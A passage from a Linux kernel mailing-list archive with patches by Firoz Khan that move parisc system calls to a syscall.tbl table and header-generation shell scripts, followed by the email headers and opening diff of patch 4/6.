+$(kapi)/syscall_table_32.h: $(syscall) $(systbl)
+	$(call if_changed,systbl)
+
+systbl_abi_syscall_table_64 := common,64
+$(kapi)/syscall_table_64.h: $(syscall) $(systbl)
+	$(call if_changed,systbl)
+
+systbl_abi_syscall_table_c32 := common,compat,32
+$(kapi)/syscall_table_c32.h: $(syscall) $(systbl)
+	$(call if_changed,systbl)
+
+uapisyshdr-y			+= unistd_32.h unistd_64.h
+kapisyshdr-y			+= syscall_table_32.h     \
+                                   syscall_table_64.h     \
+                                   syscall_table_c32.h
+
+targets	+= $(uapisyshdr-y) $(kapisyshdr-y)
+
+PHONY += all
+all: $(addprefix $(uapi)/,$(uapisyshdr-y))
+all: $(addprefix $(kapi)/,$(kapisyshdr-y))
+	@:
diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
new file mode 100644
index 0000000..7c9f268
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscall.tbl
@@ -0,0 +1,369 @@
+# SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note
+#
+# system call numbers and entry vectors for parisc
+#
+# The format is:
+# <number> <abi> <name> <entry point> <compat entry point>
+#
+# The <abi> can be common, 64, or 32 for this file.
+#
+0       common  restart_syscall                 sys_restart_syscall
+1       common  exit                            sys_exit
+2       common  fork                            sys_fork_wrapper
+3       common  read                            sys_read
+4       common  write                           sys_write
+5       common  open                            sys_open                        compat_sys_open
+6       common  close                           sys_close
+7       common  waitpid                         sys_waitpid
+8       common  creat                           sys_creat
+9       common  link                            sys_link
+10      common  unlink                          sys_unlink
+11      common  execve                          sys_execve                      compat_sys_execve
+12      common  chdir                           sys_chdir
+13      common  time                            sys_time                        compat_sys_time
+14      common  mknod                           sys_mknod
+15      common  chmod                           sys_chmod
+16      common  lchown                          sys_lchown
+17      common  socket                          sys_socket
+18      common  stat                            sys_newstat                     compat_sys_newstat
+19      common  lseek                           sys_lseek                       compat_sys_lseek
+20      common  getpid                          sys_getpid
+21      common  mount                           sys_mount                       compat_sys_mount
+22      common  bind                            sys_bind
+23      common  setuid                          sys_setuid
+24      common  getuid                          sys_getuid
+25      common  stime                           sys_stime                       compat_sys_stime
+26      common  ptrace                          sys_ptrace                      compat_sys_ptrace
+27      common  alarm                           sys_alarm
+28      common  fstat                           sys_newfstat                    compat_sys_newfstat
+29      common  pause                           sys_pause
+30      common  utime                           sys_utime                       compat_sys_utime
+31      common  connect                         sys_connect
+32      common  listen                          sys_listen
+33      common  access                          sys_access
+34      common  nice                            sys_nice
+35      common  accept                          sys_accept
+36      common  sync                            sys_sync
+37      common  kill                            sys_kill
+38      common  rename                          sys_rename
+39      common  mkdir                           sys_mkdir
+40      common  rmdir                           sys_rmdir
+41      common  dup                             sys_dup
+42      common  pipe                            sys_pipe
+43      common  times                           sys_times                       compat_sys_times
+44      common  getsockname                     sys_getsockname
+45      common  brk                             sys_brk
+46      common  setgid                          sys_setgid
+47      common  getgid                          sys_getgid
+48      common  signal                          sys_signal
+49      common  geteuid                         sys_geteuid
+50      common  getegid                         sys_getegid
+51      common  acct                            sys_acct
+52      common  umount2                         sys_umount
+53      common  getpeername                     sys_getpeername
+54      common  ioctl                           sys_ioctl                       compat_sys_ioctl
+55      common  fcntl                           sys_fcntl                       compat_sys_fcntl
+56      common  socketpair                      sys_socketpair
+57      common  setpgid                         sys_setpgid
+58      common  send                            sys_send
+59      common  uname                           sys_newuname
+60      common  umask                           sys_umask
+61      common  chroot                          sys_chroot
+62      common  ustat                           sys_ustat                       compat_sys_ustat
+63      common  dup2                            sys_dup2
+64      common  getppid                         sys_getppid
+65      common  getpgrp                         sys_getpgrp
+66      common  setsid                          sys_setsid
+67      common  pivot_root                      sys_pivot_root
+68      common  sgetmask                        sys_sgetmask                    sys32_unimplemented
+69      common  ssetmask                        sys_ssetmask                    sys32_unimplemented
+70      common  setreuid                        sys_setreuid
+71      common  setregid                        sys_setregid
+72      common  mincore                         sys_mincore
+73      common  sigpending                      sys_sigpending                  compat_sys_sigpending
+74      common  sethostname                     sys_sethostname
+75      common  setrlimit                       sys_setrlimit                   compat_sys_setrlimit
+76      common  getrlimit                       sys_getrlimit                   compat_sys_getrlimit
+77      common  getrusage                       sys_getrusage                   compat_sys_getrusage
+78      common  gettimeofday                    sys_gettimeofday                compat_sys_gettimeofday
+79      common  settimeofday                    sys_settimeofday                compat_sys_settimeofday
+80      common  getgroups                       sys_getgroups
+81      common  setgroups                       sys_setgroups
+82      common  sendto                          sys_sendto
+83      common  symlink                         sys_symlink
+84      common  lstat                           sys_newlstat                    compat_sys_newlstat
+85      common  readlink                        sys_readlink
+86      common  uselib                          sys_ni_syscall
+87      common  swapon                          sys_swapon
+88      common  reboot                          sys_reboot
+89      common  mmap2                           sys_mmap2
+90      common  mmap                            sys_mmap
+91      common  munmap                          sys_munmap
+92      common  truncate                        sys_truncate                    compat_sys_truncate
+93      common  ftruncate                       sys_ftruncate                   compat_sys_ftruncate
+94      common  fchmod                          sys_fchmod
+95      common  fchown                          sys_fchown
+96      common  getpriority                     sys_getpriority
+97      common  setpriority                     sys_setpriority
+98      common  recv                            sys_recv
+99      common  statfs                          sys_statfs                      compat_sys_statfs
+100     common  fstatfs                         sys_fstatfs                     compat_sys_fstatfs
+101     common  stat64                          sys_stat64
+# 102 was socketcall
+103     common  syslog                          sys_syslog
+104     common  setitimer                       sys_setitimer                   compat_sys_setitimer
+105     common  getitimer                       sys_getitimer                   compat_sys_getitimer
+106     common  capget                          sys_capget
+107     common  capset                          sys_capset
+108     32      pread64                         parisc_pread64
+108     64      pread64                         sys_pread64
+109     32      pwrite64                        parisc_pwrite64
+109     64      pwrite64                        sys_pwrite64
+110     common  getcwd                          sys_getcwd
+111     common  vhangup                         sys_vhangup
+112     common  fstat64                         sys_fstat64
+113     common  vfork                           sys_vfork_wrapper
+114     common  wait4                           sys_wait4                       compat_sys_wait4
+115     common  swapoff                         sys_swapoff
+116     common  sysinfo                         sys_sysinfo                     compat_sys_sysinfo
+117     common  shutdown                        sys_shutdown
+118     common  fsync                           sys_fsync
+119     common  madvise                         sys_madvise
+120     common  clone                           sys_clone_wrapper
+121     common  setdomainname                   sys_setdomainname
+122     common  sendfile                        sys_sendfile                    compat_sys_sendfile
+123     common  recvfrom                        sys_recvfrom
+124     common  adjtimex                        sys_adjtimex                    compat_sys_adjtimex
+125     common  mprotect                        sys_mprotect
+126     common  sigprocmask                     sys_sigprocmask                 compat_sys_sigprocmask
+# 127 was create_module
+128     common  init_module                     sys_init_module
+129     common  delete_module                   sys_delete_module
+# 130 was get_kernel_syms
+131     common  quotactl                        sys_quotactl
+132     common  getpgid                         sys_getpgid
+133     common  fchdir                          sys_fchdir
+134     common  bdflush                         sys_bdflush
+135     common  sysfs                           sys_sysfs
+136     32      personality                     parisc_personality
+136     64      personality                     sys_personality
+# 137 was afs_syscall
+138     common  setfsuid                        sys_setfsuid
+139     common  setfsgid                        sys_setfsgid
+140     common  _llseek                         sys_llseek
+141     common  getdents                        sys_getdents                    compat_sys_getdents
+142     common  _newselect                      sys_select                      compat_sys_select
+143     common  flock                           sys_flock
+144     common  msync                           sys_msync
+145     common  readv                           sys_readv                       compat_sys_readv
+146     common  writev                          sys_writev                      compat_sys_writev
+147     common  getsid                          sys_getsid
+148     common  fdatasync                       sys_fdatasync
+149     common  _sysctl                         sys_sysctl                      compat_sys_sysctl
+150     common  mlock                           sys_mlock
+151     common  munlock                         sys_munlock
+152     common  mlockall                        sys_mlockall
+153     common  munlockall                      sys_munlockall
+154     common  sched_setparam                  sys_sched_setparam
+155     common  sched_getparam                  sys_sched_getparam
+156     common  sched_setscheduler              sys_sched_setscheduler
+157     common  sched_getscheduler              sys_sched_getscheduler
+158     common  sched_yield                     sys_sched_yield
+159     common  sched_get_priority_max          sys_sched_get_priority_max
+160     common  sched_get_priority_min          sys_sched_get_priority_min
+161     common  sched_rr_get_interval           sys_sched_rr_get_interval       compat_sys_sched_rr_get_interval
+162     common  nanosleep                       sys_nanosleep                   compat_sys_nanosleep
+163     common  mremap                          sys_mremap
+164     common  setresuid                       sys_setresuid
+165     common  getresuid                       sys_getresuid
+166     common  sigaltstack                     sys_sigaltstack                 compat_sys_sigaltstack
+# 167 was query_module
+168     common  poll                            sys_poll
+# 169 was nfsservctl
+170     common  setresgid                       sys_setresgid
+171     common  getresgid                       sys_getresgid
+172     common  prctl                           sys_prctl
+173     common  rt_sigreturn                    sys_rt_sigreturn_wrapper
+174     common  rt_sigaction                    sys_rt_sigaction                compat_sys_rt_sigaction
+175     common  rt_sigprocmask                  sys_rt_sigprocmask              compat_sys_rt_sigprocmask
+176     common  rt_sigpending                   sys_rt_sigpending               compat_sys_rt_sigpending
+177     common  rt_sigtimedwait                 sys_rt_sigtimedwait             compat_sys_rt_sigtimedwait
+178     common  rt_sigqueueinfo                 sys_rt_sigqueueinfo             compat_sys_rt_sigqueueinfo
+179     common  rt_sigsuspend                   sys_rt_sigsuspend               compat_sys_rt_sigsuspend
+180     common  chown                           sys_chown
+181     common  setsockopt                      sys_setsockopt                  compat_sys_setsockopt
+182     common  getsockopt                      sys_getsockopt                  compat_sys_getsockopt
+183     common  sendmsg                         sys_sendmsg                     compat_sys_sendmsg
+184     common  recvmsg                         sys_recvmsg                     compat_sys_recvmsg
+185     common  semop                           sys_semop
+186     common  semget                          sys_semget
+187     common  semctl                          sys_semctl                      compat_sys_semctl
+188     common  msgsnd                          sys_msgsnd                      compat_sys_msgsnd
+189     common  msgrcv                          sys_msgrcv                      compat_sys_msgrcv
+190     common  msgget                          sys_msgget
+191     common  msgctl                          sys_msgctl                      compat_sys_msgctl
+192     common  shmat                           sys_shmat                       compat_sys_shmat
+193     common  shmdt                           sys_shmdt
+194     common  shmget                          sys_shmget
+195     common  shmctl                          sys_shmctl                      compat_sys_shmctl
+# 196 was getpmsg
+# 197 was putpmsg
+198     common  lstat64                         sys_lstat64
+199     32      truncate64                      parisc_truncate64
+199     64      truncate64                      sys_truncate64
+200     32      ftruncate64                     parisc_ftruncate64
+200     64      ftruncate64                     sys_ftruncate64
+201     common  getdents64                      sys_getdents64
+202     common  fcntl64                         sys_fcntl64                     compat_sys_fcntl64
+# 203 was attrctl
+# 204 was acl_get
+# 205 was acl_set
+206     common  gettid                          sys_gettid
+207     32      readahead                       parisc_readahead
+207     64      readahead                       sys_readahead
+208     common  tkill                           sys_tkill
+209     common  sendfile64                      sys_sendfile64                  compat_sys_sendfile64
+210     common  futex                           sys_futex                       compat_sys_futex
+211     common  sched_setaffinity               sys_sched_setaffinity           compat_sys_sched_setaffinity
+212     common  sched_getaffinity               sys_sched_getaffinity           compat_sys_sched_getaffinity
+# 213 was set_thread_area
+# 214 was get_thread_area
+215     common  io_setup                        sys_io_setup                    compat_sys_io_setup
+216     common  io_destroy                      sys_io_destroy
+217     common  io_getevents                    sys_io_getevents                compat_sys_io_getevents
+218     common  io_submit                       sys_io_submit                   compat_sys_io_submit
+219     common  io_cancel                       sys_io_cancel
+# 220 was alloc_hugepages
+# 221 was free_hugepages
+222     common  exit_group                      sys_exit_group
+223     common  lookup_dcookie                  sys_lookup_dcookie              compat_sys_lookup_dcookie
+224     common  epoll_create                    sys_epoll_create
+225     common  epoll_ctl                       sys_epoll_ctl
+226     common  epoll_wait                      sys_epoll_wait
+227     common  remap_file_pages                sys_remap_file_pages
+228     common  semtimedop                      sys_semtimedop                  compat_sys_semtimedop
+229     common  mq_open                         sys_mq_open                     compat_sys_mq_open
+230     common  mq_unlink                       sys_mq_unlink
+231     common  mq_timedsend                    sys_mq_timedsend                compat_sys_mq_timedsend
+232     common  mq_timedreceive                 sys_mq_timedreceive             compat_sys_mq_timedreceive
+233     common  mq_notify                       sys_mq_notify                   compat_sys_mq_notify
+234     common  mq_getsetattr                   sys_mq_getsetattr               compat_sys_mq_getsetattr
+235     common  waitid                          sys_waitid                      compat_sys_waitid
+236     32      fadvise64_64                    parisc_fadvise64_64
+236     64      fadvise64_64                    sys_fadvise64_64
+237     common  set_tid_address                 sys_set_tid_address
+238     common  setxattr                        sys_setxattr
+239     common  lsetxattr                       sys_lsetxattr
+240     common  fsetxattr                       sys_fsetxattr
+241     common  getxattr                        sys_getxattr
+242     common  lgetxattr                       sys_lgetxattr
+243     common  fgetxattr                       sys_fgetxattr
+244     common  listxattr                       sys_listxattr
+245     common  llistxattr                      sys_llistxattr
+246     common  flistxattr                      sys_flistxattr
+247     common  removexattr                     sys_removexattr
+248     common  lremovexattr                    sys_lremovexattr
+249     common  fremovexattr                    sys_fremovexattr
+250     common  timer_create                    sys_timer_create                compat_sys_timer_create
+251     common  timer_settime                   sys_timer_settime               compat_sys_timer_settime
+252     common  timer_gettime                   sys_timer_gettime               compat_sys_timer_gettime
+253     common  timer_getoverrun                sys_timer_getoverrun
+254     common  timer_delete                    sys_timer_delete
+255     common  clock_settime                   sys_clock_settime               compat_sys_clock_settime
+256     common  clock_gettime                   sys_clock_gettime               compat_sys_clock_gettime
+257     common  clock_getres                    sys_clock_getres                compat_sys_clock_getres
+258     common  clock_nanosleep                 sys_clock_nanosleep             compat_sys_clock_nanosleep
+259     common  tgkill                          sys_tgkill
+260     common  mbind                           sys_mbind                       compat_sys_mbind
+261     common  get_mempolicy                   sys_get_mempolicy               compat_sys_get_mempolicy
+262     common  set_mempolicy                   sys_set_mempolicy               compat_sys_set_mempolicy
+# 263 was vserver
+264     common  add_key                         sys_add_key
+265     common  request_key                     sys_request_key
+266     common  keyctl                          sys_keyctl                      compat_sys_keyctl
+267     common  ioprio_set                      sys_ioprio_set
+268     common  ioprio_get                      sys_ioprio_get
+269     common  inotify_init                    sys_inotify_init
+270     common  inotify_add_watch               sys_inotify_add_watch
+271     common  inotify_rm_watch                sys_inotify_rm_watch
+272     common  migrate_pages                   sys_migrate_pages
+273     common  pselect6                        sys_pselect6                    compat_sys_pselect6
+274     common  ppoll                           sys_ppoll                       compat_sys_ppoll
+275     common  openat                          sys_openat                      compat_sys_openat
+276     common  mkdirat                         sys_mkdirat
+277     common  mknodat                         sys_mknodat
+278     common  fchownat                        sys_fchownat
+279     common  futimesat                       sys_futimesat                   compat_sys_futimesat
+280     common  fstatat64                       sys_fstatat64
+281     common  unlinkat                        sys_unlinkat
+282     common  renameat                        sys_renameat
+283     common  linkat                          sys_linkat
+284     common  symlinkat                       sys_symlinkat
+285     common  readlinkat                      sys_readlinkat
+286     common  fchmodat                        sys_fchmodat
+287     common  faccessat                       sys_faccessat
+288     common  unshare                         sys_unshare
+289     common  set_robust_list                 sys_set_robust_list             compat_sys_set_robust_list
+290     common  get_robust_list                 sys_get_robust_list             compat_sys_get_robust_list
+291     common  splice                          sys_splice
+292     32      sync_file_range                 parisc_sync_file_range
+292     64      sync_file_range                 sys_sync_file_range
+293     common  tee                             sys_tee
+294     common  vmsplice                        sys_vmsplice                    compat_sys_vmsplice
+295     common  move_pages                      sys_move_pages                  compat_sys_move_pages
+296     common  getcpu                          sys_getcpu
+297     common  epoll_pwait                     sys_epoll_pwait                 compat_sys_epoll_pwait
+298     common  statfs64                        sys_statfs64                    compat_sys_statfs64
+299     common  fstatfs64                       sys_fstatfs64                   compat_sys_fstatfs64
+300     common  kexec_load                      sys_kexec_load                  compat_sys_kexec_load
+301     common  utimensat                       sys_utimensat                   compat_sys_utimensat
+302     common  signalfd                        sys_signalfd                    compat_sys_signalfd
+# 303 was timerfd
+304     common  eventfd                         sys_eventfd
+305     32      fallocate                       parisc_fallocate
+305     64      fallocate                       sys_fallocate
+306     common  timerfd_create                  sys_timerfd_create
+307     common  timerfd_settime                 sys_timerfd_settime             compat_sys_timerfd_settime
+308     common  timerfd_gettime                 sys_timerfd_gettime             compat_sys_timerfd_gettime
+309     common  signalfd4                       sys_signalfd4                   compat_sys_signalfd4
+310     common  eventfd2                        sys_eventfd2
+311     common  epoll_create1                   sys_epoll_create1
+312     common  dup3                            sys_dup3
+313     common  pipe2                           sys_pipe2
+314     common  inotify_init1                   sys_inotify_init1
+315     common  preadv                          sys_preadv                      compat_sys_preadv
+316     common  pwritev                         sys_pwritev                     compat_sys_pwritev
+317     common  rt_tgsigqueueinfo               sys_rt_tgsigqueueinfo           compat_sys_rt_tgsigqueueinfo
+318     common  perf_event_open                 sys_perf_event_open
+319     common  recvmmsg                        sys_recvmmsg                    compat_sys_recvmmsg
+320     common  accept4                         sys_accept4
+321     common  prlimit64                       sys_prlimit64
+322     common  fanotify_init                   sys_fanotify_init
+323     common  fanotify_mark                   sys_fanotify_mark               sys32_fanotify_mark
+324     common  clock_adjtime                   sys_clock_adjtime               compat_sys_clock_adjtime
+325     common  name_to_handle_at               sys_name_to_handle_at
+326     common  open_by_handle_at               sys_open_by_handle_at           compat_sys_open_by_handle_at
+327     common  syncfs                          sys_syncfs
+328     common  setns                           sys_setns
+329     common  sendmmsg                        sys_sendmmsg                    compat_sys_sendmmsg
+330     common  process_vm_readv                sys_process_vm_readv            compat_sys_process_vm_readv
+331     common  process_vm_writev               sys_process_vm_writev           compat_sys_process_vm_writev
+332     common  kcmp                            sys_kcmp
+333     common  finit_module                    sys_finit_module
+334     common  sched_setattr                   sys_sched_setattr
+335     common  sched_getattr                   sys_sched_getattr
+336     common  utimes                          sys_utimes                      compat_sys_utimes
+337     common  renameat2                       sys_renameat2
+338     common  seccomp                         sys_seccomp
+339     common  getrandom                       sys_getrandom
+340     common  memfd_create                    sys_memfd_create
+341     common  bpf                             sys_bpf
+342     common  execveat                        sys_execveat                    compat_sys_execveat
+343     common  membarrier                      sys_membarrier
+344     common  userfaultfd                     sys_userfaultfd
+345     common  mlock2                          sys_mlock2
+346     common  copy_file_range                 sys_copy_file_range
+347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
+348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
+349     common  statx                           sys_statx
+350	common  io_pgetevents			sys_io_pgetevents		compat_sys_io_pgetevents
\ No newline at end of file
diff --git a/arch/parisc/kernel/syscalls/syscallhdr.sh b/arch/parisc/kernel/syscalls/syscallhdr.sh
new file mode 100644
index 0000000..607d4ca
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscallhdr.sh
@@ -0,0 +1,35 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0
+
+in="$1"
+out="$2"
+my_abis=`echo "($3)" | tr ',' '|'`
+prefix="$4"
+offset="$5"
+
+fileguard=_UAPI_ASM_PARISC_`basename "$out" | sed \
+    -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' \
+    -e 's/[^A-Z0-9_]/_/g' -e 's/__/_/g'`
+grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
+    echo "#ifndef ${fileguard}"
+    echo "#define ${fileguard}"
+    echo ""
+
+    nxt=0
+    while read nr abi name entry compat ; do
+	if [ -z "$offset" ]; then
+	    echo -e "#define __NR_${prefix}${name}\t$nr"
+	else
+	    echo -e "#define __NR_${prefix}${name}\t($offset + $nr)"
+	fi
+	nxt=$nr
+	let nxt=nxt+1
+    done
+
+    echo ""
+    echo "#ifdef __KERNEL__"
+    echo -e "#define __NR_syscalls\t$nxt"
+    echo "#endif"
+    echo ""
+    echo "#endif /* ${fileguard} */"
+) > "$out"
diff --git a/arch/parisc/kernel/syscalls/syscalltbl.sh b/arch/parisc/kernel/syscalls/syscalltbl.sh
new file mode 100644
index 0000000..04abde7
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscalltbl.sh
@@ -0,0 +1,46 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0
+
+in="$1"
+out="$2"
+my_abis=`echo "($3)" | tr ',' '|'`
+offset="$4"
+
+emit() {
+    nxt="$1"
+    if [ -z "$offset" ]; then
+	nr="$2"
+    else
+	nr="$2"
+	nr=$((nr+offset))
+    fi
+    entry="$3"
+
+    while [ $nxt -lt $nr ]; do
+	echo "__SYSCALL($nxt, sys_ni_syscall, )"
+        let nxt=nxt+1
+    done
+    echo "__SYSCALL($nxt, $entry, )"
+}
+
+grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
+    if [ -z "$offset" ]; then
+	nxt=0
+    else
+	nxt=$offset
+    fi
+
+    my_abi="$(cut -d'|' -f2 <<< $my_abis)"
+    while read nr abi name entry compat ; do
+	if [ $my_abi = "compat" ]; then
+	    if [ -z "$compat" ]; then
+		emit $nxt $nr $entry
+	    else
+		emit $nxt $nr $compat
+	    fi
+	else
+	    emit $nxt $nr $entry
+	fi
+        let nxt=nxt+1
+    done
+) > "$out"
-- 
1.9.1



From - Thu Nov 08 21:42:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 4/6] parisc: uapi header and system call table file generation
Date: Fri, 12 Oct 2018 15:14:00 +0530
Lines: 943
Approved: news@gmane.org
Message-ID: <1539337442-3676-5-git-send-email-firoz.khan@linaro.org>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1539337381 15954 195.159.176.226 (12 Oct 2018 09:43:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 09:43:01 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 11:42:56 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAtyB-0003wa-BF
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 11:42:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728438AbeJLRQj (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 12 Oct 2018 13:16:39 -0400
Original-Received: from mail-pl1-f194.google.com ([209.85.214.194]:37344 "EHLO
        mail-pl1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728394AbeJLRQi (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 13:16:38 -0400
Original-Received: by mail-pl1-f194.google.com with SMTP id u6-v6so2940601plz.4
        for <linux-kernel@vger.kernel.org>; Fri, 12 Oct 2018 02:45:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=1WIfVQZqXDF2IXffz4zfWfV2K1eV74aFgDuG/X9u4gU=;
        b=Nk4FPDwvnZS3lFcTfMLH5cs01tc3pLm72P2BZakR0wTCRm+gy5qqgGYWwEQTKVZzOP
         fnDjDhUxtVh1dWrc9PDz/Xx0dOcwC2ud/AKniTOyPoQSmJUdOT6fSPv1Gws0CgeFZNj8
         1fbjLI5ckEx89cpyBnjKdDk8YSDItt0ZEoD2w=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=1WIfVQZqXDF2IXffz4zfWfV2K1eV74aFgDuG/X9u4gU=;
        b=IP6Je4lRrt06Rsm44lwC1tI+hCftYgquouMKux+glr/yMqH98XwVHF9/15OSD61aRQ
         ZbTfp+dj7DFZLIhvGUCtQ2asqjdVSZNcoaOnmNVKWkpSbUDKuGSfEghfoyXfzqcbuH5a
         AV25zvdANt4cSuaECilHCU9k2pvASDoShcEyBju4LEGipNvPMy0bP56IeGxmP0+g8duG
         qHKEhTh4P1fCv3HVlsBGoJNbrhOLhQxHNUm/AozklOiBQ5UGLyVYdUQ1tHVbazIZhAU9
         OCTPgkKa4f4gjqStHdaxJ8QIwWnWVx43nOaj9XXzwb9wSGfcDK+t5yhFsfY8ENYDYgfa
         09qw==
X-Gm-Message-State: ABuFfohJti7Rc0fNz/0GTxVQkGOnT+mLTuIjz2zRw3huzBdjN96EOXoi
        3XU8Wn1fbM71sIAZhO8Rz1iU8Q==
X-Google-Smtp-Source: ACcGV63MYIIFmvKKZjGA0KayvbCDQToKsTZtVAU2unS1cEW5niR7y/P5iJAV9aKV9gQH5GilWpsMZg==
X-Received: by 2002:a17:902:70c3:: with SMTP id l3-v6mr5378088plt.125.1539337502704;
        Fri, 12 Oct 2018 02:45:02 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([106.51.108.175])
        by smtp.gmail.com with ESMTPSA id j19-v6sm1254191pfi.137.2018.10.12.02.44.58
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 12 Oct 2018 02:45:02 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2897401 gmane.linux.ports.parisc:29132 gmane.linux.kernel.year-2038:3508 gmane.linux.kernel.cross-arch:47718
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2897401>

System call table generation script must be run to generate
unistd_32/64.h and syscall_table_32/64/c32.h files. This patch
will have changes which will invokes the script.

This patch will generate unistd_32/64.h and syscall_table_
32/64/c32.h files by the syscall table generation script
invoked by arch/parisc/Makefile and the generated files against
the removed files will be identical.

The generated uapi header file will be included in uapi/asm/
unistd_32/64.h and generated system call table support file will
be included by kernel/syscall.S file.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/Makefile                  |   4 +
 arch/parisc/include/asm/Kbuild        |   3 +
 arch/parisc/include/uapi/asm/Kbuild   |   2 +
 arch/parisc/include/uapi/asm/unistd.h | 373 +--------------------------
 arch/parisc/kernel/syscall.S          |  10 +-
 arch/parisc/kernel/syscall_table.S    | 459 ----------------------------------
 6 files changed, 22 insertions(+), 829 deletions(-)
 delete mode 100644 arch/parisc/kernel/syscall_table.S

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 5ce0302..6b217da 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -159,6 +159,10 @@ endef
 
 # we require gcc 3.3 or above to compile the kernel
 archprepare: checkbin
+
+archheaders:
+	$(Q)$(MAKE) $(build)=arch/parisc/kernel/syscalls all
+
 checkbin:
 	@if test "$(cc-version)" -lt "0303"; then \
 		echo -n "Sorry, GCC v3.3 or above is required to build " ; \
diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 2013d63..6b66fb9 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -23,3 +23,6 @@ generic-y += user.h
 generic-y += vga.h
 generic-y += word-at-a-time.h
 generic-y += xor.h
+generic-y += syscall_table_32.h
+generic-y += syscall_table_64.h
+generic-y += syscall_table_c32.h
diff --git a/arch/parisc/include/uapi/asm/Kbuild b/arch/parisc/include/uapi/asm/Kbuild
index 286ef5a..04360d9 100644
--- a/arch/parisc/include/uapi/asm/Kbuild
+++ b/arch/parisc/include/uapi/asm/Kbuild
@@ -7,3 +7,5 @@ generic-y += kvm_para.h
 generic-y += param.h
 generic-y += poll.h
 generic-y += resource.h
+generic-y += unistd_32.h
+generic-y += unistd_64.h
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index f10d065..518c1d6 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -2,374 +2,13 @@
 #ifndef _UAPI_ASM_PARISC_UNISTD_H_
 #define _UAPI_ASM_PARISC_UNISTD_H_
 
-/*
- * Linux system call numbers.
- *
- * Cary Coutant says that we should just use another syscall gateway
- * page to avoid clashing with the HPUX space, and I think he's right:
- * it will would keep a branch out of our syscall entry path, at the
- * very least.  If we decide to change it later, we can ``just'' tweak
- * the LINUX_GATEWAY_ADDR define at the bottom and make __NR_Linux be
- * 1024 or something.  Oh, and recompile libc. =)
- */
-
-#define __NR_Linux                0
-#define __NR_restart_syscall      (__NR_Linux + 0)
-#define __NR_exit                 (__NR_Linux + 1)
-#define __NR_fork                 (__NR_Linux + 2)
-#define __NR_read                 (__NR_Linux + 3)
-#define __NR_write                (__NR_Linux + 4)
-#define __NR_open                 (__NR_Linux + 5)
-#define __NR_close                (__NR_Linux + 6)
-#define __NR_waitpid              (__NR_Linux + 7)
-#define __NR_creat                (__NR_Linux + 8)
-#define __NR_link                 (__NR_Linux + 9)
-#define __NR_unlink              (__NR_Linux + 10)
